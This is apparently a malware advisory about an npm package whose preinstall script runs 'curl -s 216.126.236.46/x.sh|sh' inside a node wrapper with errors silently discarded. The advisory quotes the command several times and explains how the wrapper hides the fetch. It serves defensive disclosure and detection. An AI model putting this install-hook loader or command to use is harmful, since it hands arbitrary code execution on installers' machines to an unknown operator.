GCVE-110-OSM-2026-11282

package.json declares a preinstall lifecycle script that runs `node -e` to invoke `child_process.execSync('curl -s 216.126.236.46/x.sh|sh', {shell:'/bin/bash'})`, wrapped in a try/catch that silently discards errors. On `npm install`, this fetches an opaque shell script from a bare IPv4 address (216.126.236.46) over plain HTTP and pipes it directly to bash, giving the operator of that IP arbitrary code execution on the installer's machine. The node-wrapper and error-swallow conceal the fetch from lifecycle output and hide any failure from the installer. Judge assessment: This package is an install-time remote code execution loader: the `preinstall` script in `package.json` runs `curl -s 216.126.236.46/x.sh|sh`, which fetches and executes a shell script from a bare IPv4 address on every `npm install`. The attacker model is a publisher-controlled install hook handing arbitrary code execution to the operator of `216.126.236.46`, and the plaintext IOC is recovered directly from the operational field. The package is also brand new, published from a very new npm account, and has no source repository, which is consistent with a disposable malicious upload rather than a legitimate SDK. The benign-looking `index.js` export is irrelevant because the malicious behavior occurs before import, via the install hook. ENTRY index.js (default-index: index.js) - Preinstall Script in package.json: ""preinstall":"curl -s 216.126.236.46/x.sh|sh"" DESTINATION - 1 fetched-payload (ipv4) (values recorded in verified_iocs) EXFIL - Curl/Wget Pipe to Shell in package.json: "curl -s 216.126.236.46/x.sh|sh" ADDITIONAL FINDINGS - Brand New Package - Very New NPM Publisher Account